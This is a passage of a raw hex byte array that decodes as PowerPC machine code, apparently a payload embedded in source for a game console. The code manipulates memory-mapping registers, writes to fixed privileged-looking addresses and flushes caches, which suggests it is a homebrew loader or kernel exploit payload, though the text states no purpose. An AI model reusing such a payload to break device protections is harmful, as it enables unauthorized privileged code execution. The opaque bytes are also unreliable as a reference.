0x65, 0xaa, 0x38, 0x80, 0x00, 0x0c, 0x80, 0xa1, 0x00, 0xdc, 0x4b, 0xff, 0xfc, 0xe1, 0x39, 0x5d, 0x00, 0x18, 0x38, 0x61, 0x00, 0x70, 0x38, 0x80, 0x00, 0x0c, 0x7c, 0xaa, 0x64, 0xaa, 0x7c, 0xa3, 0x65, 0xaa, 0x80, 0xa1, 0x00, 0xdc, 0x4b, 0xff, 0xfc, 0xc5, 0x39, 0x5d, 0x00, 0x24, 0x38, 0x61, 0x00, 0x64, 0x38, 0x80, 0x00, 0x0c, 0x7c, 0xaa, 0x64, 0xaa, 0x7c, 0xa3, 0x65, 0xaa, 0x80, 0xa1, 0x00, 0xdc, 0x4b, 0xff, 0xfc, 0xa9, 0x3c, 0xa0, 0x01, 0x80, 0x7f, 0xe9, 0x03, 0xa6, 0x38, 0x80, 0x00, 0x00, 0x38, 0xa5, 0x1e, 0x00, 0x38, 0xc1, 0x00, 0xac, 0x7c, 0x77, 0x1b, 0x78, 0x80, 0x61, 0x00, 0xe0, 0x4e, 0x80, 0x04, 0x21, 0x3c, 0xa0, 0x01, 0x80, 0x38, 0xc1, 0x00, 0xa8, 0x38, 0xa5, 0x1e, 0x10, 0x7f, 0xe9, 0x03, 0xa6, 0x80, 0x61, 0x00, 0xe0, 0x38, 0x80, 0x00, 0x00, 0x4e, 0x80, 0x04, 0x21, 0x81, 0x21, 0x00, 0xc4, 0x38, 0x80, 0x00, 0x04, 0x38, 0x60, 0x00, 0x4c, 0x7d, 0x29, 0x03, 0xa6, 0x4e, 0x80, 0x04, 0x21, 0x3d, 0x20, 0x1f, 0x20, 0x61, 0x29, 0x00, 0x14, 0x39, 0x40, 0xff, 0xb4, 0x90, 0x69, 0x00, 0x00, 0x3d, 0x20, 0x1f, 0x20, 0x61, 0x29, 0x00, 0x18, 0x7c, 0x7b, 0x1b, 0x78, 0x91, 0x49, 0x00, 0x00, 0x3d, 0x40, 0x1f, 0x20, 0x39, 0x20, 0xff, 0xff, 0x61, 0x4a, 0x00, 0x1c, 0x91, 0x2a, 0x00, 0x00, 0x3d, 0x40, 0x1f, 0x20, 0x61, 0x4a, 0x00, 0x20, 0x7c, 0x23, 0x0b, 0x78, 0x91, 0x2a, 0x00, 0x00, 0x3d, 0x40, 0xfc, 0x2a, 0x95, 0x43, 0x00, 0xa4, 0x3c, 0xa0, 0x10, 0x00, 0x38, 0x80, 0x00, 0x04, 0x4b, 0xff, 0xfc, 0x05, 0x38, 0x81, 0x00, 0x4c, 0x7c, 0x79, 0x1b, 0x78, 0x38, 0x7d, 0x00, 0x30, 0x7c, 0xa3, 0xc4, 0xaa, 0x7c, 0xa4, 0xc5, 0xaa, 0x3c, 0xa0, 0x01, 0x00, 0x7c, 0x83, 0x23, 0x78, 0x38, 0x80, 0x00, 0x18, 0x4b, 0xff, 0xfb, 0xe1, 0x38, 0x81, 0x00, 0x34, 0x7c, 0x75, 0x1b, 0x78, 0x38, 0x7d, 0x00, 0x48, 0x7c, 0xa3, 0xc4, 0xaa, 0x7c, 0xa4, 0xc5, 0xaa, 0x7c, 0x83, 0x23, 0x78, 0x3c, 0xa0, 0x01, 0x00, 0x38, 0x80, 0x00, 0x18, 0x4b, 0xff, 0xfb, 0xbd, 0x38, 0x9d, 0x00, 0x60, 0x38, 0xa0, 0x00, 0x2c, 0x7c, 0x7a, 0x1b, 0x78, 0x38, 0x61, 0x00, 0x08, 0x4b, 0xff, 0xfb, 0x85, 0x3c, 0xa0, 0x01, 0x00, 0x38, 0x80, 0x00, 0x2c, 0x38, 0x61, 0x00, 0x08, 0x4b, 0xff, 0xfb, 0x99, 0x81, 0x3c, 0x00, 0x14, 0x38, 0x80, 0x00, 0x08, 0x3a, 0xc3, 0x00, 0x2c, 0x7d, 0x29, 0x03, 0xa6, 0x38, 0x60, 0x10, 0x00, 0x4e, 0x80, 0x04, 0x21, 0x81, 0x3c, 0x00, 0x14, 0x7c, 0x7e, 0x1b, 0x78, 0x38, 0x80, 0x00, 0x20, 0x7d, 0x29, 0x03, 0xa6, 0x38, 0x60, 0x00, 0xa0, 0x4e, 0x80, 0x04, 0x21, 0x81, 0x61, 0x00, 0xbc, 0x7c, 0x7f, 0x1b, 0x78, 0x3c, 0x80, 0x01, 0x1a, 0x7f, 0xc3, 0xf3, 0x78, 0x60, 0x84, 0x1d, 0xd8, 0x38, 0xa0, 0x00, 0x00, 0x38, 0xc0, 0x00, 0x00, 0x38, 0xff, 0x00, 0xa0, 0x39, 0x00, 0x00, 0xa0, 0x39, 0x20, 0x00, 0x00, 0x39, 0x40, 0x00, 0x09, 0x7d, 0x69, 0x03, 0xa6, 0x4e, 0x80, 0x04, 0x21, 0x2f, 0x83, 0x00, 0x00, 0x40, 0xbe, 0x00, 0x1c, 0x3d, 0x20, 0x01, 0x03, 0x3c, 0x60, 0x01, 0x80, 0x61, 0x29, 0x16, 0x18, 0x38, 0x63, 0x1e, 0x19, 0x7d, 0x29, 0x03, 0xa6, 0x4e, 0x80, 0x04, 0x21, 0x81, 0x41, 0x00, 0xac, 0x3d, 0x00, 0x1b, 0x80, 0x39, 0x20, 0x00, 0x01, 0x61, 0x08, 0x00, 0x08, 0x39, 0x4a, 0x00, 0x2c, 0x91, 0x3e, 0x00, 0x84, 0x91, 0x5e, 0x00, 0x98, 0x7f, 0xc3, 0xf3, 0x78, 0x93, 0xfe, 0x00, 0x0c, 0x91, 0x1e, 0x00, 0x14, 0x93, 0x3e, 0x00, 0x80, 0x91, 0x3f, 0x00, 0x2c, 0x91, 0x3f, 0x00, 0x6c, 0x81, 0x21, 0x00, 0xb4, 0x91, 0x5f, 0x00, 0x44, 0x39, 0x40, 0x01, 0x00, 0x91, 0x3f, 0x00, 0x94, 0x81, 0x21, 0x00, 0xb8, 0x93, 0x5f, 0x00, 0x24, 0x93, 0x3f, 0x00, 0x28, 0x7d, 0x29, 0x03, 0xa6, 0x92, 0xbf, 0x00, 0x34, 0x91, 0x1f, 0x00, 0x38, 0x93, 0x5f, 0x00, 0x64, 0x91, 0x5f, 0x00, 0x68, 0x92, 0xdf, 0x00, 0x74, 0x4e, 0x80, 0x04, 0x21, 0x81, 0x21, 0x00, 0xb0, 0x7f, 0xc3, 0xf3, 0x78, 0x7d, 0x29, 0x03, 0xa6, 0x4e, 0x80, 0x04, 0x21, 0x2f, 0x83, 0x00, 0x00, 0x40, 0x9e, 0x00, 0x28, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x4b, 0xff, 0xff, 0xc8, 0x81, 0x3c, 0x00, 0x18, 0x7f, 0xc3, 0xf3, 0x78, 0x7d, 0x29, 0x03, 0xa6, 0x4e, 0x80, 0x04, 0x21, 0x81, 0x3c, 0x00, 0x18, 0x7f, 0xe3, 0xfb, 0x78, 0x3b, 0xe1, 0x00, 0x9c, 0x7d, 0x29, 0x03, 0xa6, 0x4e, 0x80, 0x04, 0x21, 0x39, 0x3d, 0x00, 0x8c, 0x7d, 0x49, 0x34, 0xaa, 0x7d, 0x5f, 0x35, 0xaa, 0x38, 0x80, 0x00, 0x06, 0x38, 0xa0, 0x00, 0x00, 0x38, 0xc0, 0x00, 0x00, 0x7f, 0x09, 0x03, 0xa6, 0x7f, 0xe3, 0xfb, 0x78, 0x4e, 0x80, 0x04, 0x21, 0x3d, 0x20, 0xff, 0xea, 0x61, 0x29, 0xaf, 0x30, 0x81, 0x5d, 0x00, 0x98, 0x91, 0x3b, 0x00, 0x44, 0x38, 0xa1, 0x00, 0x94, 0x81, 0x3d, 0x00, 0x94, 0x38, 0xc0, 0x00, 0x08, 0x91, 0x41, 0x00, 0x98, 0x7e, 0xe9, 0x03, 0xa6, 0x91, 0x21, 0x00, 0x94, 0x38, 0x80, 0x00, 0x06, 0x7f, 0xe3, 0xfb, 0x78, 0x4e, 0x80, 0x04, 0x21, 0x3c, 0x60, 0xff, 0x20, 0x60, 0x63, 0x00, 0x08, 0x38, 0x80, 0x00, 0x00, 0x4b, 0xff, 0xfa, 0xd9, 0x3c, 0x60, 0xff, 0xea, 0x80, 0x9b, 0x00, 0x48, 0x60, 0x63, 0xb5, 0x30, 0x4b, 0xff, 0xfa, 0xc9, 0x39, 0x61, 0x01, 0x20, 0x48, 0x00, 0x0b, 0xe0, 0x7c, 0x08, 0x02, 0xa6, 0x94, 0x21, 0xff, 0xc0, 0x3c, 0xa0, 0x01, 0x80, 0xbf, 0x61, 0x00, 0x2c, 0x3f, 0xc0, 0x01, 0x02, 0x90, 0x01, 0x00, 0x44, 0x63, 0xde, 0xb8, 0x28, 0x7c, 0x7f, 0x1b, 0x78, 0x7f, 0xc9, 0x03, 0xa6, 0x7c, 0x9c, 0x23, 0x78, 0x80, 0x63, 0x00, 0x04, 0x38, 0x80, 0x00, 0x00, 0x38, 0xa5, 0x2a, 0xf8, 0x38, 0xc1, 0x00, 0x1c, 0x4e, 0x80, 0x04, 0x21, 0x3c, 0xa0, 0x01, 0x80, 0x7f, 0xc9, 0x03, 0xa6, 0x80, 0x7f, 0x00, 0x04, 0x38, 0x80, 0x00, 0x00, 0x38, 0xa5, 0x2b, 0x05, 0x38, 0xc1, 0x00, 0x18, 0x4e, 0x80, 0x04, 0x21, 0x3c, 0xa0, 0x01, 0x80, 0x7f, 0xc9, 0x03, 0xa6, 0x80, 0x7f, 0x00, 0x04, 0x38, 0x80, 0x00, 0x00, 0x38, 0xa5, 0x2b, 0x1d, 0x38, 0xc1, 0x00, 0x14, 0x4e, 0x80, 0x04, 0x21, 0x3c, 0xa0, 0x01, 0x80, 0x7f, 0xc9, 0x03, 0xa6, 0x80, 0x7f, 0x00, 0x04, 0x38, 0x80, 0x00, 0x00, 0x38, 0xa5, 0x2b, 0x31, 0x38, 0xc1, 0x00, 0x10, 0x4e, 0x80, 0x04, 0x21, 0x3c, 0xa0, 0x01, 0x80, 0x7f, 0xc9, 0x03, 0xa6, 0x80, 0x7f, 0x00, 0x04, 0x38, 0x80, 0x00, 0x00, 0x38, 0xa5, 0x2b, 0x47, 0x38, 0xc1, 0x00, 0x0c, 0x4e, 0x80, 0x04, 0x21, 0x3c, 0xa0, 0x01, 0x80, 0x38, 0xa5, 0x2b, 0x5d, 0x38, 0xc1, 0x00, 0x08, 0x38, 0x80, 0x00, 0x00, 0x80, 0x7f, 0x00, 0x04, 0x7f, 0xc9, 0x03, 0xa6, 0x4e, 0x80, 0x04, 0x21, 0x81, 0x21, 0x00, 0x1c, 0x7d, 0x29, 0x03, 0xa6, 0x4e, 0x80, 0x04, 0x21, 0x81, 0x21, 0x00, 0x18, 0x38, 0x60, 0x00, 0x00, 0x7d, 0x29, 0x03, 0xa6, 0x4e, 0x80, 0x04, 0x21, 0x81, 0x21, 0x00, 0x18, 0x7c, 0x7e, 0x1b, 0x78, 0x38, 0x60, 0x00, 0x01, 0x7d, 0x29, 0x03, 0xa6, 0x3f, 0xbe, 0xf4, 0x00, 0x4e, 0x80, 0x04, 0x21, 0x81, 0x21, 0x00, 0x14, 0x7c, 0x7b, 0x1b, 0x78, 0x3c, 0x80, 0xf4, 0x00, 0x7d, 0x29, 0x03, 0xa6, 0x38, 0x60, 0x00, 0x00, 0x4e, 0x80, 0x04, 0x21, 0x81, 0x21, 0x00, 0x14, 0x7f, 0xa4, 0xeb, 0x78, 0x38, 0x60, 0x00, 0x01, 0x7d, 0x29, 0x03, 0xa6, 0x4e, 0x80, 0x04, 0x21, 0x81, 0x21, 0x00, 0x10, 0x38, 0x80, 0x00, 0x00, 0x38, 0x60, 0x00, 0x00, 0x7d, 0x29, 0x03, 0xa6, 0x4e, 0x80, 0x04, 0x21, 0x81, 0x21, 0x00, 0x10, 0x38, 0x80, 0x00, 0x00, 0x38, 0x60, 0x00, 0x01, 0x7d, 0x29, 0x03, 0xa6, 0x4e, 0x80, 0x04, 0x21, 0x81, 0x3f, 0x00, 0x1c, 0x3c, 0x60, 0xf4, 0x00, 0x7f, 0xc4, 0xf3, 0x78, 0x7d, 0x29, 0x03, 0xa6, 0x4e, 0x80, 0x04, 0x21, 0x81, 0x3f, 0x00, 0x1c, 0x7f, 0x64, 0xdb, 0x78, 0x7f, 0xa3, 0xeb, 0x78, 0x7d, 0x29, 0x03, 0xa6, 0x4e, 0x80, 0x04, 0x21, 0x81, 0x21, 0x00, 0x0c, 0x38, 0x60, 0x00, 0x00, 0x7d, 0x29, 0x03, 0xa6, 0x4e, 0x80, 0x04, 0x21, 0x81, 0x21, 0x00, 0x0c, 0x38, 0x60, 0x00, 0x01, 0x7d, 0x29, 0x03, 0xa6, 0x4e, 0x80, 0x04, 0x21, 0x81, 0x21, 0x00, 0x08, 0x38, 0x80, 0x00, 0x00, 0x38, 0xa0, 0x00, 0x00, 0x7f, 0x86, 0xe3, 0x78, 0x7d, 0x29, 0x03, 0xa6, 0x38, 0x60, 0x00, 0x01, 0x4e, 0x80, 0x04, 0x21, 0x81, 0x21, 0x00, 0x0c, 0x38, 0x60, 0x00, 0x01, 0x7d, 0x29, 0x03, 0xa6, 0x4e, 0x80, 0x04, 0x21, 0x81, 0x21, 0x00, 0x10, 0x38, 0x60, 0x00, 0x01, 0x38, 0x80, 0x00, 0x00, 0x7d, 0x29, 0x03, 0xa6, 0x4e, 0x80, 0x04, 0x21, 0x3d, 0x20, 0x40, 0x00, 0x7d, 0x29, 0x03, 0xa6, 0x42, 0x40, 0x00, 0x0c, 0x60, 0x00, 0x00, 0x00, 0x4b, 0xff, 0xff, 0xf8, 0x81, 0x3f, 0x00, 0x24, 0x7d, 0x29, 0x03, 0xa6, 0x4e, 0x80, 0x04, 0x21, 0x39, 0x61, 0x00, 0x40, 0x48, 0x00, 0x09, 0xf8, 0x3d, 0x00, 0x01, 0xff, 0x3c, 0xe3, 0x40, 0x00, 0x61, 0x08, 0xff, 0xff, 0x7f, 0x87, 0x40, 0x40, 0x40, 0x9d, 0x00, 0x2c, 0x3d, 0x00, 0x00, 0xff, 0x3c, 0xe3, 0x3e, 0x00, 0x61, 0x08, 0xff, 0xff, 0x7f, 0x87, 0x40, 0x40, 0x41, 0x9d, 0x00, 0x28, 0x3d, 0x20, 0x32, 0x00, 0x3d, 0x40, 0xc2, 0x00, 0x61, 0x29, 0x00, 0x12, 0x61, 0x4a, 0x01, 0xff, 0x48, 0x00, 0x00, 0x14, 0x3d, 0x20, 0x30, 0x00, 0x3d, 0x40, 0xc0, 0x00, 0x61, 0x29, 0x00, 0x12, 0x61, 0x4a, 0x03, 0xff, 0x7c, 0xf8, 0x82, 0xa6, 0x7d, 0x19, 0x82, 0xa6, 0x7d, 0x58, 0x83, 0xa6, 0x7d, 0x39, 0x83, 0xa6, 0x7c, 0x00, 0x06, 0xac, 0x4c, 0x00, 0x01, 0x2c, 0x39, 0x45, 0x00, 0x01, 0x39, 0x20, 0x00, 0x00, 0x7d, 0x49, 0x03, 0xa6, 0x42, 0x40, 0x00, 0x14, 0x7d, 0x49, 0x20, 0xae, 0x7d, 0x49, 0x19, 0xae, 0x39, 0x29, 0x00, 0x01, 0x4b, 0xff, 0xff, 0xf0, 0x54, 0x69, 0x00, 0x34, 0x7c, 0x63, 0x2a, 0x14, 0x7f, 0x89, 0x18, 0x40, 0x40, 0x9c, 0x00, 0x14, 0x7c, 0x00, 0x48, 0xac, 0x7c, 0x00, 0x04, 0xac, 0x39, 0x29, 0x00, 0x20, 0x4b, 0xff, 0xff, 0xec, 0x7c, 0xf8, 0x83, 0xa6, 0x7d, 0x19, 0x83, 0xa6, 0x7c, 0x00, 0x06, 0xac, 0x4c, 0x00, 0x01, 0x2c, 0x4e, 0x80, 0x00, 0x20, 0x94, 0x21, 0xff, 0xe8, 0x7c, 0x08, 0x02, 0xa6, 0x39, 0x20, 0x00, 0x00, 0x3c, 0x60, 0x01, 0x80, 0x91, 0x21, 0x00, 0x08, 0x3d, 0x20, 0x01, 0x02, 0x61, 0x29, 0xa3, 0xb4, 0x90, 0x01, 0x00, 0x1c, 0x38, 0x81, 0x00, 0x0c, 0x7d, 0x29, 0x03, 0xa6, 0x38, 0x63, 0x2b, 0x6f, 0x4e, 0x80, 0x04, 0x21, 0x3d, 0x20, 0x01, 0x02, 0x61, 0x29, 0xb8, 0x28, 0x3c, 0xa0, 0x01, 0x80, 0x80, 0x61, 0x00, 0x0c, 0x38, 0xc1, 0x00, 0x08, 0x7d, 0x29, 0x03, 0xa6, 0x38, 0x80, 0x00, 0x00, 0x38, 0xa5, 0x2b, 0x7a, 0x4e, 0x80, 0x04, 0x21, 0x81, 0x21, 0x00, 0x08, 0x7d, 0x29, 0x03, 0xa6, 0x4e, 0x80, 0x04, 0x21, 0x80, 0x01, 0x00, 0x1c, 0x38, 0x21, 0x00, 0x18, 0x7c, 0x08, 0x03, 0xa6, 0x4e, 0x80, 0x00, 0x20, 0x94, 0x21, 0xff, 0xe0, 0x7c, 0x08, 0x02, 0xa6, 0xbf, 0x41, 0x00, 0x08, 0x7c, 0x9f, 0x23, 0x79, 0x90, 0x01, 0x00, 0x24, 0x7c, 0x7e, 0x1b, 0x78, 0x7c, 0xbd, 0x2b, 0x78, 0x7c, 0xdc, 0x33, 0x78, 0x7c, 0xfb, 0x3b, 0x78, 0x7d, 0x1a, 0x43, 0x78, 0x41, 0x82, 0x00, 0x24, 0x81, 0x3f, 0x00, 0x00, 0x6d, 0x2a, 0x7f, 0x45, 0x2f, 0x8a, 0x4c, 0x46, 0x40, 0x9e, 0x00, 0x14, 0x81, 0x3f, 0x00, 0x10, 0x6d, 0x2a, 0x00, 0x02, 0x2f, 0x8a, 0x00, 0x14, 0x41, 0x9e, 0x00, 0x14, 0x3c, 0x80, 0x01, 0x80, 0x7f, 0xc3, 0xf3, 0x78, 0x38, 0x84, 0x2b, 0x8e, 0x4b, 0xff, 0xfc, 0x81, 0x80, 0xff, 0x00, 0x20, 0x39, 0x60, 0x00, 0x00, 0xa1, 0x1f, 0x00, 0x30, 0x7c, 0xff, 0x3a, 0x14, 0x7c, 0xe9, 0x3b, 0x78, 0x7f, 0x8b, 0x40, 0x00, 0x40, 0x9c, 0x00, 0x60, 0xa0, 0xdf, 0x00, 0x32, 0x81, 0x49, 0x00, 0x00, 0x1c, 0xc6, 0x00, 0x28, 0x7c, 0xc7, 0x32, 0x14, 0x80, 0xa6, 0x00, 0x10, 0x7c, 0xaa, 0x2a, 0x14, 0x7f, 0xaa, 0xeb, 0x78, 0x7c, 0xbf, 0x2a, 0x14, 0x38, 0xa5, 0xff, 0xff, 0x8c, 0x05, 0x00, 0x01, 0x2f, 0x80, 0x00, 0x00, 0x41, 0x9e, 0x00, 0x20, 0x88, 0xca, 0x00, 0x00, 0x2f, 0x86, 0x00, 0x00, 0x41, 0x9e, 0x00, 0x14, 0x7f, 0x80, 0x30, 0x40, 0x40, 0x9e, 0x00, 0x60, 0x39, 0x4a, 0x00, 0x01, 0x4b, 0xff, 0xff, 0xdc, 0x89, 0x4a, 0x00, 0x00, 0x7f, 0x8a, 0x00, 0x00, 0x41, 0xbe, 0x00, 0x24, 0x48, 0x00, 0x00, 0x48, 0x2f, 0x9a, 0x00, 0x00, 0x3b, 0xe0, 0x00, 0x00, 0x41, 0xbe, 0x00, 0x48, 0x7f, 0xc3, 0xf3, 0x78, 0x7f, 0xa4, 0xeb, 0x78, 0x4b, 0xff, 0xfb, 0xf1, 0x48, 0x00, 0x00, 0x38, 0x2f, 0x9b, 0x00, 0x00, 0x41, 0x9e, 0x00, 0x0c, 0x81, 0x49, 0x00, 0x0c, 0x91, 0x5b, 0x00, 0x00, 0x2f, 0x9c, 0x00, 0x00, 0x41, 0x9e, 0x00, 0x0c, 0x81, 0x49, 0x00, 0x14, 0x91, 0x5c, 0x00, 0x00, 0x83, 0xe9, 0x00, 0x10, 0x48, 0x00, 0x00, 0x10, 0x39, 0x6b, 0x00, 0x01, 0x39, 0x29, 0x00, 0x28, 0x4b, 0xff, 0xff, 0x50, 0x39, 0x61, 0x00, 0x20, 0x7f, 0xe3, 0xfb, 0x78, 0x48, 0x00, 0x07, 0x9c, 0x7c, 0x08, 0x02, 0xa6, 0x94, 0x21, 0xff, 0x60, 0x3d, 0x20, 0x01, 0x02, 0x3c, 0x60, 0x01, 0x80, 0x61, 0x29, 0xa3, 0xb4, 0xbf, 0xc1, 0x00, 0x98, 0x90, 0x01, 0x00, 0xa4, 0x7d, 0x29, 0x03, 0xa6, 0x38, 0x63, 0x2b, 0x9f, 0x38, 0x81, 0x00, 0x94, 0x3f, 0xe0, 0x01, 0x02, 0x63, 0xff, 0xb8, 0x28, 0x4e, 0x80, 0x04, 0x21, 0x3c, 0xa0, 0x01, 0x80, 0x38, 0xc1, 0x00, 0x8c, 0x80, 0x61, 0x00, 0x94, 0x38, 0x80, 0x00, 0x00, 0x38, 0xa5, 0x2b, 0xac, 0x7f, 0xe9, 0x03, 0xa6, 0x4e, 0x80, 0x04, 0x21, 0x81, 0x21, 0x00, 0x8c, 0x38, 0x80, 0x00, 0x00, 0x38, 0xa0, 0x00, 0x3c, 0x7d, 0x29, 0x03, 0xa6, 0x38, 0x61, 0x00, 0x08, 0x4e, 0x80, 0x04, 0x21, 0x81, 0x21, 0x00, 0x8c, 0x80, 0x61, 0x00, 0x94, 0x3c, 0xa0, 0x01, 0x80, 0x91, 0x21, 0x00, 0x14, 0x3d, 0x20, 0x01, 0x80, 0x39, 0x29, 0x1e, 0x34, 0x90, 0x61, 0x00, 0x0c, 0x91, 0x21, 0x00, 0x08, 0x38, 0x80, 0x00, 0x01, 0x38, 0xa5, 0x2b, 0xb3, 0x38, 0xc1, 0x00, 0x90, 0x7f, 0xe9, 0x03, 0xa6, 0x4e, 0x80, 0x04, 0x21, 0x81, 0x21, 0x00, 0x90, 0x3c, 0xa0, 0x01, 0x80, 0x80, 0x61, 0x00, 0x94, 0x81, 0x29, 0x00, 0x00, 0x38, 0x80, 0x00, 0x01, 0x38, 0xa5, 0x2b, 0xcd, 0x38, 0xc1, 0x00, 0x90, 0x91, 0x21, 0x00, 0x1c, 0x7f, 0xe9, 0x03, 0xa6, 0x4e, 0x80, 0x04, 0x21, 0x81, 0x21, 0x00, 0x90, 0x3c, 0xa0, 0x01, 0x80, 0x80, 0x61, 0x00, 0x94, 0x81, 0x29, 0x00, 0x00, 0x38, 0x80, 0x00, 0x00, 0x38, 0xa5, 0x2b, 0xe2, 0x38, 0xc1, 0x00, 0x10, 0x91, 0x21, 0x00, 0x20, 0x7f, 0xe9, 0x03, 0xa6, 0x4e, 0x80, 0x04, 0x21, 0x3c, 0xa0, 0x01, 0x80, 0x80, 0x61, 0x00, 0x94, 0x38, 0x80, 0x00, 0x00, 0x38, 0xa5, 0x2b, 0xe9, 0x38, 0xc1, 0x00, 0x18, 0x7f, 0xe9, 0x03, 0xa6, 0x4e, 0x80, 0x04, 0x21, 0x3c, 0xa0, 0x01, 0x80, 0x80, 0x61, 0x00, 0x94, 0x38, 0x80, 0x00, 0x00, 0x38, 0xa5, 0x2b, 0xff, 0x38, 0xc1, 0x00, 0x24, 0x7f, 0xe9, 0x03, 0xa6, 0x4e, 0x80, 0x04, 0x21, 0x3c, 0xa0, 0x01, 0x80, 0x80, 0x61, 0x00, 0x94, 0x38, 0x80, 0x00, 0x00, 0x38, 0xa5, 0x2c, 0x0c, 0x38, 0xc1, 0x00, 0x28, 0x7f, 0xe9, 0x03, 0xa6, 0x4e, 0x80, 0x04, 0x21, 0x3c, 0xa0, 0x01, 0x80, 0x80, 0x61, 0x00, 0x94, 0x38, 0x80, 0x00, 0x00, 0x38, 0xa5, 0x2c, 0x1e, 0x38, 0xc1, 0x00, 0x2c, 0x7f, 0xe9, 0x03, 0xa6, 0x4e, 0x80, 0x04, 0x21, 0x81, 0x21, 0x00, 0x18, 0x3c, 0x60, 0xa0, 0x00, 0x7d, 0x29, 0x03, 0xa6, 0x4e, 0x80, 0x04, 0x21, 0x2f, 0x83, 0x00, 0x00, 0x40, 0xbe, 0x00, 0x10, 0x38, 0x61, 0x00, 0x08, 0x4b, 0xff, 0xf5, 0x3d, 0x48, 0x00, 0x01, 0x44, 0x3c, 0xa0, 0x01, 0x80, 0x7f, 0xe9, 0x03, 0xa6, 0x80, 0x61, 0x00, 0x94, 0x38, 0x80, 0x00, 0x00, 0x38, 0xa5, 0x2c, 0x24, 0x38, 0xc1, 0x00, 0x70, 0x4e, 0x80, 0x04, 0x21, 0x3c, 0xa0, 0x01, 0x80, 0x7f, 0xe9, 0x03, 0xa6, 0x80, 0x61, 0x00, 0x94, 0x38, 0x80, 0x00, 0x00, 0x38, 0xa5, 0x2c, 0x2c, 0x38, 0xc1, 0x00, 0x6c, 0x4e, 0x80, 0x04, 0x21, 0x3c, 0xa0, 0x01, 0x80, 0x7f, 0xe9, 0x03, 0xa6, 0x80, 0x61, 0x00, 0x94, 0x38, 0x80, 0x00, 0x00, 0x38, 0xa5, 0x2c, 0x35, 0x38, 0xc1, 0x00, 0x68, 0x4e, 0x80, 0x04, 0x21, 0x3c, 0xa0, 0x01, 0x80, 0x7f, 0xe9, 0x03, 0xa6, 0x80, 0x61, 0x00, 0x94, 0x38, 0x80, 0x00, 0x00, 0x38, 0xa5, 0x2c, 0x47, 0x38, 0xc1, 0x00, 0x64, 0x4e, 0x80, 0x04, 0x21, 0x3c, 0xa0, 0x01, 0x80, 0x38, 0x80, 0x00, 0x00, 0x38, 0xa5, 0x2c, 0x59, 0x38, 0xc1, 0x00, 0x44, 0x7f, 0xe9, 0x03, 0xa6, 0x80, 0x61, 0x00, 0x94, 0x4e, 0x80, 0x04, 0x21, 0x81, 0x21, 0x00, 0x70, 0x7d, 0x29, 0x03, 0xa6, 0x4e, 0x80, 0x04, 0x21, 0x81, 0x21, 0x00, 0x64, 0x7c, 0x7e, 0x1b, 0x78, 0x38, 0x80, 0x00, 0x40, 0x38, 0x60, 0x01, 0x00, 0x7d, 0x29, 0x03, 0xa6, 0x4e, 0x80, 0x04, 0x21, 0x7c, 0x7f, 0x1b, 0x79, 0x40, 0xa2, 0x00, 0x14, 0x3c, 0x80, 0x01, 0x80, 0x38, 0x61, 0x00, 0x08, 0x38, 0x84, 0x2c, 0x68, 0x4b, 0xff, 0xf9, 0x65, 0x81, 0x21, 0x00, 0x14, 0x38, 0x80, 0x00, 0x00, 0x38, 0xa0, 0x01, 0x00, 0x7f, 0xe3, 0xfb, 0x78, 0x7d, 0x29, 0x03, 0xa6, 0x4e, 0x80, 0x04, 0x21, 0x81, 0x21, 0x00, 0x68, 0x7f, 0xe4, 0xfb, 0x78, 0x38, 0xa0, 0x00, 0x03, 0x38, 0xc0, 0x00, 0x00, 0x38, 0xe0, 0x00, 0x00, 0x7d, 0x29, 0x03, 0xa6, 0x7f, 0xc3, 0xf3, 0x78, 0x4e, 0x80, 0x04, 0x21, 0x81, 0x21, 0x00, 0x6c, 0x7f, 0xc3, 0xf3, 0x78, 0x7d, 0x29, 0x03, 0xa6, 0x4e, 0x80, 0x04, 0x21, 0x81, 0x21, 0x00, 0x44, 0x7f, 0xe3, 0xfb, 0x78, 0x7d, 0x29, 0x03, 0xa6, 0x4e, 0x80, 0x04, 0x21, 0x3c, 0x60, 0xff, 0xea, 0x60, 0x63, 0xb7, 0xe8, 0x38, 0x80, 0x00, 0x00, 0x4b, 0xff, 0xf3, 0xb9, 0x3c, 0x60, 0xff, 0xea, 0x60, 0x63, 0xb7, 0xec, 0x3c, 0x80, 0x14, 0x00, 0x4b, 0xff, 0xf3, 0xa9, 0x3f, 0xe0, 0x01, 0x02, 0x3c, 0xa0, 0x01, 0x80, 0x63, 0xff, 0xb8, 0x28, 0x80, 0x61, 0x00, 0x94, 0x7f, 0xe9, 0x03, 0xa6, 0x38, 0x80, 0x00, 0x00, 0x38, 0xa5, 0x2c, 0x96, 0x38, 0xc1, 0x00, 0x88, 0x4e, 0x80, 0x04, 0x21, 0x3c, 0xa0, 0x01, 0x80, 0x7f, 0xe9, 0x03, 0xa6, 0x80, 0x61, 0x00, 0x94, 0x38, 0x80, 0x00, 0x00, 0x38, 0xa5, 0x2c, 0xa5, 0x38, 0xc1, 0x00, 0x84, 0x4e, 0x80, 0x04, 0x21, 0x3c, 0xa0, 0x01, 0x80, 0x38, 0xa5, 0x2c, 0xb4, 0x38, 0xc1, 0x00, 0x80, 0x7f, 0xe9, 0x03, 0xa6, 0x80, 0x61, 0x00, 0x94, 0x38, 0x80, 0x00, 0x00, 0x4e, 0x80, 0x04, 0x21, 0x81, 0x21, 0x00, 0x1c, 0x38, 0x80, 0x00, 0x20, 0x38, 0x60, 0x40, 0x00, 0x7d, 0x29, 0x03, 0xa6, 0x4e, 0x80, 0x04, 0x21, 0x81, 0x21, 0x00, 0x1c, 0x7c, 0x7e, 0x1b, 0x78, 0x38, 0x80, 0x00, 0x08, 0x38, 0x60, 0x10, 0x00, 0x7d, 0x29, 0x03, 0xa6, 0x4e, 0x80, 0x04, 0x21, 0x7c, 0x7f, 0x1b, 0x79, 0x41, 0x82, 0x00, 0x0c, 0x2f, 0x9e, 0x00, 0x00, 0x40, 0xbe, 0x00, 0x14, 0x3c, 0x80, 0x01, 0x80, 0x38, 0x61, 0x00, 0x08, 0x38, 0x84, 0x2c, 0xc9, 0x4b, 0xff, 0xf8, 0x45, 0x81, 0x61, 0x00, 0x88, 0x3c, 0x80, 0x01, 0x80, 0x7f, 0xe3, 0xfb, 0x78, 0x38, 0x84, 0x12, 0x70, 0x38, 0xa0, 0x00, 0x01, 0x38, 0xc1, 0x00, 